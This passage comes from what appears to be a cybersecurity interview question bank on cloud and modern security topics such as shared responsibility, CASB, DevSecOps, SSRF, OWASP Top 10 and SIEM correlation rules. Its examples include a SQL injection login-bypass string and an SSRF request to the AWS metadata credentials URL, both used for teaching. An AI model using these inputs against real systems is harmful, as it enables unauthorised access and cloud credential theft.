- A:** Four risk treatment strategies:
- Mitigation: Implementing controls to reduce risk (patch the vulnerability).
 - Acceptance: Acknowledging the risk and doing nothing (risk is low or too costly to fix).
 - Transfer: Shifting risk to a third party (cyber insurance, outsourcing).
 - Avoidance: Eliminating the activity that creates the risk (stop using the vulnerable system).

Example: A company uses an old legacy system with unpatched vulnerabilities: Mitigation (install a WAF in front of it), Transfer (buy cyber insurance), Acceptance (document and accept minor risks), Avoidance (migrate to a newer, secure system and retire the old one).

Section: Cloud & Modern Security | Questions 148–171

Q14 What is cloud security and its shared responsibility model?

8.

A: Cloud security is the set of controls and practices protecting cloud-based systems and data. The shared responsibility model defines security responsibilities between the cloud provider (CSP) and the customer:

- CSP is responsible for security OF the cloud (physical infrastructure, hypervisor, network).
- Customer is responsible for security IN the cloud (data, applications, access management, OS configuration).

Example: *On AWS EC2: Amazon secures the physical data centre and hypervisor. The customer must secure their virtual machine's OS (patch it), configure the security groups (firewall), encrypt their data, and manage IAM roles. If the customer leaves an S3 bucket public, that is the customer's responsibility — not AWS's.*

Q14 What is IAM (Identity and Access Management) in cloud security?

9.

A: IAM is a framework of policies and technologies ensuring that the right people have the right access to the right resources at the right time. In cloud platforms (AWS IAM, Azure AD), it controls: who can access cloud services, what actions they can perform, and under what conditions.

Example: *A developer should only be able to start/stop EC2 instances in the development environment — not production, not S3, not billing. AWS IAM creates a policy granting exactly these permissions, attached to the developer's role. Any attempt to access production or S3 is denied.*

Q15 What is a CASB (Cloud Access Security Broker)?

0.

A: A CASB is a security policy enforcement point between users and cloud services. It provides visibility into cloud usage, enforces security policies, identifies threats, and ensures compliance. It can be deployed as a proxy (inline) or API-based.

Example: *A company allows employees to use Microsoft 365 but not personal Dropbox for work files. A CASB (like Netskope) monitors all cloud traffic, blocks uploads to personal Dropbox, scans all files uploaded to SharePoint for malware, and alerts when sensitive data (PII) is uploaded to any cloud service.*

Q15 What is container security?

1.

A: Container security encompasses protecting containerised applications (Docker, Kubernetes) throughout their lifecycle. Key concerns: vulnerable base images, privileged container escalation, container escape attacks, insecure secrets management, and Kubernetes RBAC misconfigurations.

Example: *A company runs a Docker container from an outdated Python base image with 50 known vulnerabilities. An attacker exploits one vulnerability to escape the container and access the host OS. Container security tools (like Aqua Security) scan images before deployment and block vulnerable images from running.*

Q15 What is DevSecOps?

2.

A: DevSecOps integrates security practices into the DevOps software development and deployment pipeline. Rather than adding security as an afterthought, security is built into every stage: code review (SAST), dependency scanning, container scanning, infrastructure as code (IaC) scanning, and runtime protection.

Example: *A development team implements DevSecOps: SAST tools scan code at every git commit (catching SQL injection in code), dependency scanners flag vulnerable npm packages, container image scanners block deployment of images with critical CVEs, and runtime WAF protects deployed apps — security at every stage.*

Q15 What is a CWPP (Cloud Workload Protection Platform)?

3.

A: CWPP is a security solution that protects cloud-based workloads (virtual machines, containers, serverless functions) across multi-cloud environments. It provides vulnerability assessment, runtime protection, micro-segmentation, and threat detection for cloud workloads.

Example: *A company runs workloads across AWS, Azure, and GCP. A CWPP (like Prisma Cloud) continuously scans all VMs and containers across all three clouds for vulnerabilities, detects anomalous runtime behaviour, and enforces micro-segmentation policies — providing unified cloud workload security.*

Q15 What is a supply chain attack?

4.

A: A supply chain attack targets a less-secure element in the supply chain — typically a third-party software vendor, service provider, or hardware manufacturer — to compromise their product and use it as a vector to attack end customers at scale.

Example: *The SolarWinds attack (2020) is the most famous supply chain attack. Attackers compromised SolarWinds' build pipeline and inserted malicious code into legitimate Orion software updates. 18,000+ organisations installed the update, giving attackers backdoor access — including US government agencies and Fortune 500 companies.*

Q15 What is an API security vulnerability?

5.

A: API security vulnerabilities arise from insecure design or implementation of APIs. OWASP API Top 10 includes: Broken Object Level Authorisation (accessing other users' data), Broken Authentication, Excessive Data Exposure, Lack of Rate Limiting, and Security Misconfiguration.

Example: *A food delivery app's API endpoint /api/orders/{order_id} doesn't verify that the authenticated user owns order_id. An attacker changes the order_id to sequential numbers in their requests and views all customers' orders, names, and addresses — a Broken Object Level Authorisation vulnerability.*

Q15 What is serverless security and its unique challenges?

6.

A: Serverless computing (AWS Lambda, Azure Functions) runs code without managing servers. Unique security challenges: very short execution time (makes runtime monitoring difficult), function event injection attacks (like SQLi via event parameters), over-privileged IAM roles, and dependency vulnerabilities in deployment packages.

Example: An AWS Lambda function processes user-uploaded JSON files. An attacker crafts a malicious JSON with injected commands in a field. If the Lambda function passes this field unsanitised to a shell command, the attacker can execute arbitrary code in the Lambda environment — a function event injection attack.

Q15 What is threat intelligence sharing and the STIX/TAXII standards?

7.

- A:** Threat intelligence sharing is the practice of exchanging IoCs, attack techniques, and threat data between organisations to improve collective defence.
- STIX (Structured Threat Information eXpression): The standardised language/format for describing cyber threats.
 - TAXII (Trusted Automated eXchange of Intelligence Information): The protocol/transport mechanism for sharing STIX data.

Example: After a major bank detects a new banking Trojan, they publish its STIX data (malware hash, C2 domains, attack TTPs) to a TAXII server shared with other financial institutions. Within minutes, all other member banks' SIEMs automatically receive and apply these IoCs, blocking the malware before it can attack them.

Q15 What is a WAF (Web Application Firewall)?

8.

- A:** A WAF is a security appliance (hardware or cloud-based) that monitors and filters HTTP/HTTPS traffic to and from a web application. It protects against OWASP Top 10 attacks like SQL injection, XSS, CSRF, and LFI by inspecting application-layer traffic.

Example: A bank's website is protected by AWS WAF. When an attacker tries SQL injection in the login form (' OR 1=1 --), the WAF detects the pattern, blocks the request before it reaches the web server, logs the attempt, and can automatically add the attacker's IP to a blocklist.

Q15 What are the OWASP Top 10 web application vulnerabilities?

9.

- A:** OWASP Top 10 (2021):
1. Broken Access Control
 2. Cryptographic Failures
 3. Injection (SQLi, XSS)
 4. Insecure Design
 5. Security Misconfiguration
 6. Vulnerable and Outdated Components
 7. Identification and Authentication Failures
 8. Software and Data Integrity Failures
 9. Security Logging and Monitoring Failures
 10. Server-Side Request Forgery (SSRF)

Example: *A popular e-commerce site fails to check if a user can access /admin/orders (Broken Access Control). A standard customer adds /admin/orders to the URL and gains full access to all customer orders, addresses, and payment details — the most common web vulnerability type.*

Q16 What is SSRF (Server-Side Request Forgery)?

0.

A: SSRF is a web vulnerability where an attacker tricks the server into making HTTP requests to internal resources or services on behalf of the server. It can be used to access internal services (metadata APIs, internal databases) that are not accessible from the internet.

Example: *An image upload feature accepts a URL and fetches the image server-side. An attacker provides 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' (the AWS metadata URL). The server fetches this URL internally and returns AWS IAM credentials — giving the attacker cloud access.*

Q16 What is insider threat and how do you detect it?

1.

A: An insider threat is a security risk that originates from within the organisation — current or former employees, contractors, or partners. Types:

- Malicious insider: Intentionally causes harm (data theft, sabotage).
- Negligent insider: Accidentally causes harm (clicking phishing links, misconfiguring systems).

Detection: UEBA, DLP, access logs, and monitoring for anomalous behaviour.

Example: *A disgruntled employee about to resign copies 50,000 customer records to a USB drive. DLP detects the unusual mass copy to USB and alerts security. UEBA also flags the anomaly: the employee (who never worked late before) is accessing large amounts of sensitive data at 11 PM on a Friday.*

Q16 What is CVE (Common Vulnerabilities and Exposures)?

2.

A: CVE is a publicly disclosed list of known cybersecurity vulnerabilities. Each vulnerability gets a unique identifier (e.g., CVE-2021-44228) along with a description and CVSS severity score. It is maintained by MITRE Corporation and provides a standard reference for security tools and teams.

Example: *When Log4Shell was discovered, it was assigned CVE-2021-44228 with a maximum CVSS score of 10.0 (Critical). Security teams worldwide searched their environments for systems using the vulnerable Log4j version referenced by this CVE ID and applied patches within hours of disclosure.*

Q16 What is CVSS (Common Vulnerability Scoring System)?

3.

A: CVSS is a standardised framework for rating the severity of security vulnerabilities on a scale of 0.0 to 10.0. It considers base metrics (attack complexity, privileges required, impact on C/I/A), temporal metrics (exploit maturity, patches available), and environmental metrics (business context).

Example: *CVE-2017-0144 (EternalBlue/WannaCry vulnerability) has a CVSS score of 9.3 (Critical) because: it is network-exploitable (no physical access needed), requires no authentication, has low attack complexity, and provides complete system compromise — all factors that push the score to near-maximum.*

Q16 What is APT (Advanced Persistent Threat)?

4.

A: An APT is a sophisticated, long-term cyber attack by a well-resourced threat actor (often a nation-state or organised crime group). Key characteristics: advanced techniques, persistent access over months/years, specific high-value targets, and patient, stealthy operation to achieve strategic objectives.

Example: APT29 (Cozy Bear, Russia) spent months inside SolarWinds' infrastructure before injecting malicious code into the Orion software. They maintained persistent access to thousands of victim organisations for up to 9 months — quietly exfiltrating intelligence — before detection.

Q16 What is security awareness training?

5.

A: Security awareness training is an educational programme that teaches employees about cybersecurity risks, policies, and safe behaviours. It covers topics like phishing recognition, password hygiene, social engineering, safe internet use, and incident reporting. It is the most cost-effective security control.

Example: A company runs monthly security awareness training including simulated phishing campaigns. Initially 40% of employees click the simulated phishing link. After 6 months of training, click rate drops to 5%. This directly reduces the risk of real phishing attacks succeeding.

Q16 What is Cisco CyberOps Associate certification?

6.

A: Cisco CyberOps Associate (formerly CCNA CyberOps) is an entry-level cybersecurity certification by Cisco validating skills needed to work in a Security Operations Centre (SOC). It covers: security concepts, security monitoring, host-based analysis, network intrusion analysis, and security policies and procedures. Exam: 200-201 CBROPS.

Example: A fresh IT graduate passes the 200-201 CBROPS exam and earns the Cisco CyberOps Associate certification. This qualifies them for Tier 1 SOC Analyst positions at companies like Infosys, TCS, Wipro, or Cisco's own Threat Response team — serving as the foundation for a career in cybersecurity operations.

Q16 What is the 200-201 CBROPS exam and its main domains?

7.

A: The 200-201 CBROPS (Understanding Cisco Cybersecurity Operations Fundamentals) is the exam for the Cisco CyberOps Associate certification. Exam domains:

1. Security Concepts (20%)
2. Security Monitoring (25%)
3. Host-Based Analysis (20%)
4. Network Intrusion Analysis (20%)
5. Security Policies and Procedures (15%)

Example: *Preparing for 200-201 CBROPS, a candidate studies: CIA Triad and threat models (Security Concepts), SIEM and NetFlow analysis (Security Monitoring), Windows Event Logs and process analysis (Host-Based Analysis), Wireshark and IDS signatures (Network Intrusion Analysis), and NIST frameworks (Security Policies).*

Q16 What is a SIEM use case and how are correlation rules created?

8.

A: A SIEM use case is a specific security scenario that the SIEM is configured to detect through correlation rules. Creating a use case: 1) Define the threat (brute-force attack). 2) Identify relevant log sources (authentication logs). 3) Write correlation logic (10 failed logins in 5 minutes from same IP). 4) Define alert severity and response actions.

Example: *Use Case: Detect Account Takeover. Correlation Rule in Splunk: 'If a user has 5+ failed logins from IP-A in 10 minutes, followed by a successful login from IP-A within 15 minutes, generate a Critical alert.' This detects brute-force attacks that eventually succeed.*

Q16 What is network intrusion analysis?

9.

A: Network intrusion analysis is the examination of network traffic, IDS/IPS alerts, and packet captures to identify and investigate malicious activity. An analyst reviews alert details, reconstructs attack sequences, identifies affected systems, and determines the severity and scope of the intrusion.

Example: *A Snort IDS fires alert: 'ET MALWARE Possible CobaltStrike Beacon Activity'. A SOC analyst opens the Wireshark capture, examines the flagged TCP streams, identifies the callback interval (every 60 seconds to the same external IP), and confirms this matches CobaltStrike beacon behaviour — a confirmed intrusion.*

Q17 What is the difference between a stateful and stateless firewall?

0.

- A:**
- Stateless Firewall: Filters packets individually based on source/dest IP and port only. Does not track the state of connections. Faster but less intelligent — can be fooled by crafted packets.
 - Stateful Firewall: Tracks the complete state of active connections in a state table. Validates packets in the context of an ongoing session — rejects packets that don't belong to a valid session.

Example: *Stateless firewall: An ACK packet from an external IP to an internal server passes (matches 'allow inbound TCP') even though no SYN was sent first — attacker can scan ports. Stateful firewall: Blocks the orphan ACK packet because there is no matching entry in the connection state table.*

Q17 What is a cyber threat actor and types?

1.

- A:** A cyber threat actor is any individual or group that carries out or threatens to carry out cyberattacks. Types:
- Nation-State actors: Government-sponsored, highly sophisticated (APT28, APT29).
 - Cybercriminals: Financially motivated (ransomware gangs like REvil).
 - Hacktivists: Politically motivated (Anonymous).
 - Insider Threats: Employees with access.
 - Script Kiddies: Low-skill attackers using pre-made tools.

Example: *The Colonial Pipeline attack (2021) was carried out by DarkSide — a cybercriminal ransomware group (financially motivated). The attackers used a compromised VPN password to access the network, deployed ransomware, and received \$4.4 million in Bitcoin ransom — later partially recovered by the FBI.*